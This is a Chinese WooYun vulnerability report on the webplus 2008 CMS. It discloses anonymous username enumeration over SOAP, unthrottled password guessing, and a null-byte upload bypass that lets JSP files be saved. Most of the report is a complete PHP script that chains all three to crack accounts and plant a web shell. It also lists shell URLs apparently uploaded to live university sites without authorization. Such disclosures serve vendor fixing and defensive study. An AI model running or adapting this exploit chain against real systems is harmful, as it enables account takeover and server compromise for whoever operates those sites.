当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-059410

漏洞标题:webplus 2008多处安全漏洞

相关厂商:苏迪科技

漏洞作者: 鶆鶈

提交时间:2014-05-05 12:58

修复时间:2014-08-03 13:00

公开时间:2014-08-03 13:00

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-05: 细节已通知厂商并且等待厂商处理中
2014-05-05: 厂商已经确认,细节仅向厂商公开
2014-05-08: 细节向第三方安全合作伙伴开放
2014-06-29: 细节向核心白帽子及相关领域专家公开
2014-07-09: 细节向普通白帽子公开
2014-07-19: 细节向实习白帽子公开
2014-08-03: 细节向公众公开

简要描述:

webplus 2008存在多处漏洞,容易导致系统被入侵。

详细说明:

0x1) 用户名遍历
程序webservice中的SSOServices服务(URL为~/ids/services/SSOServices?wsdl)中的getUserById方法允许匿名用户通过用户id获取用户名等信息,可遍历ID获取系统中的用户名。在SoapUI里看起来比较直观:

400.jpg


0x2) 暴力猜解密码
SSOServices服务提供了一个用于用户登录的logIn方法,由于没有登录次数限制,可用于暴力破解用户密码。

442.jpg


0x3) 文件上传漏洞
上传提交地址:~/control/editoruploader?Type=File&articleId=&filePath=/upload,需要登录。程序关键处理代码如下:

private void saveFile(FileUploadPO filePO, Field uploadField)
throws Exception
{
if (checkIsAllowUpload(filePO.getFileType(), filePO.getFileExtension()))//黑名单限制,上传文件不为jsp等后缀名就行.
{
try {
String attachmentDirRealPath = WebplusContext.getRealPath(filePO.getFilePath());
filePO.setAttachmentDirRealPath(attachmentDirRealPath);
recordFileUploadInfo(filePO);
if (_debug) {
System.out.println("文件上传存放位置:" + attachmentDirRealPath);
}

File attachment = new File(attachmentDirRealPath, filePO.getNewFileName() + "." + filePO.getFileExtension() + ".x"); //filePO.getFileExtension()中可插入\0进行截断。

uploadField.write(attachment);
filePO.setAttachment(attachment);
filePO.setFileUrl(filePO.getFilePath() + "/" + filePO.getNewFileName() + "." + filePO.getFileExtension() + ".x");
System.out.println("filePO.getFileUrl()====" + filePO.getFileUrl());
} catch (Exception ex) {
_log.error("保存上传文件出现异常:", ex);
ex.printStackTrace();
throw ex;
}
} else {
this.returnCode = "202";
this.returnMessage = "不允许上传的文件类型!";
if (_debug)
System.out.println("无效的文件类型名: " + filePO.getFileExtension());
}
}

filePO.getFileExtension()的取值为上传文件的后缀名,例如后缀名为jsp\0a便可通过checkIsAllowUpload的检验,并最后保存为jsp文件。
综合1、2、3,便可以对webplus2008系统进行有效渗透,测试如下:

<?php
function http_post($url, $data='', $cookie='') {
$headers = array('SOAPAction: ""',
'Content-Type: text/xml; charset=UTF-8');
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ch);
curl_close($ch);
return $res;
}
function getUserById($url, $id=1) {
$curl = $url."/ids/services/SSOServices";
$data = "<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:ser=\"http://server.ids.sudytech.com\">
<soapenv:Header/>
<soapenv:Body>
<ser:getUserById soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">
<userId xsi:type=\"xsd:int\">$id</userId>
</ser:getUserById>
</soapenv:Body>
</soapenv:Envelope>";
$xml = http_post($curl, $data);
preg_match("/<loginName xsi:type=\"xsd:string\">(.+)<\/loginName>/", $xml, $matches);
$loginName = $matches[1];
if ($loginName!='') print("$loginName\n");
/*
中文显示为&#xaabb;
$loginName = str_replace(';', '', $loginName);
$loginName = str_replace("&#x", "\\u", $loginName);
*/
return $loginName;
}
function crack_pass($url, $loginName) {
$curl=$url."/ids/services/SSOServices";
print("cracking $loginName --");
$passwords = array($loginName,'123456','888888','000000','111111');
foreach($passwords as $password) {
$data = "<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:ser=\"http://server.ids.sudytech.com\">
<soapenv:Header/>
<soapenv:Body>
<ser:logIn soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">
<loginName xsi:type=\"xsd:string\">$loginName</loginName>
<credit xsi:type=\"xsd:string\">$password</credit>
</ser:logIn>
</soapenv:Body>
</soapenv:Envelope>";
$headers = array('SOAPAction: ""',
'Content-Type: text/xml; charset=UTF-8');
$ch = curl_init($curl);

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$xml = curl_exec($ch);
$status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($status == 200) {
preg_match("/<logInReturn xsi:type=\"xsd:string\">(.+)<\/logInReturn>/", $xml, $matches);
print("password:$password\n");
$loginToken = $matches[1];
$cookie = "loginToken={$loginToken}_1";
return $cookie;
}
}
print("failed.\n");
return false;
}
function upload_shell($url, $cookie=''){
$curl = $url."/control/editoruploader?Type=File&articleId=&filePath=/upload";
$headers = array();
$ch = curl_init($curl);

$headers = array("Content-Type: multipart/form-data; boundary=---------------------------1548630973453");
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$payload .= "-----------------------------1548630973453\r\n";
$payload .= "Content-Disposition: form-data; name=\"picSource\"\r\n\r\n";
$payload .= "uploadPic\r\n";
$payload .= "-----------------------------1548630973453\r\n";
$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"test.jsp\x00x\"\r\n";
$payload .= "Content-Type: application/zip\r\n";
$payload .= "\r\n";
$payload .= "<%=\"hello world.\"%>\r\n";
$payload .= "-----------------------------1548630973453";
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$html = curl_exec($ch);
$html = iconv('UTF-8', 'GBK', $html);
$rec = preg_match("/window\.parent\.OnUploadCompleted\(\d+,\'(.+)\\0x\.x\',\'([\s\S]*)\',\'([\s\S]*)\'\)/", $html, $matches);
$shell = $url.$matches[1];
print("getShell:".$shell."?siteId=0&pageId=0");
exit();
}
$url = "http://webplus.ecnu.edu.cn";
$url = $argv[1];
print("get user list:\n");
for ($id=1; $id<100; $id++) {
$loginNames[] = getUserById($url, $id);
}
foreach($loginNames as $loginName) {
if(strlen($loginName) != '') {
$cookie = crack_pass($url, $loginName);
if($cookie) upload_shell($url, $cookie);
}
}
?>

漏洞证明:

google "webplus 2008",找了几个测试:
http://webplus.xmu.edu.cn/upload/639a7adb-413a-4fd6-8f62-eadda3db14e6.jsp?siteId=0&pageId=0
http://wzqb.upc.edu.cn/upload/58940d9b-f39a-42db-a6f3-c20c79f90382.jsp?siteId=0&pageId=0

修复方案:

无.

版权声明:转载请注明来源 鶆鶈@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2014-05-05 14:42

厂商回复:

确认并复现所述情况,正在对相关漏洞进行全面修复,在此感谢作者的友情提醒

最新状态:

暂无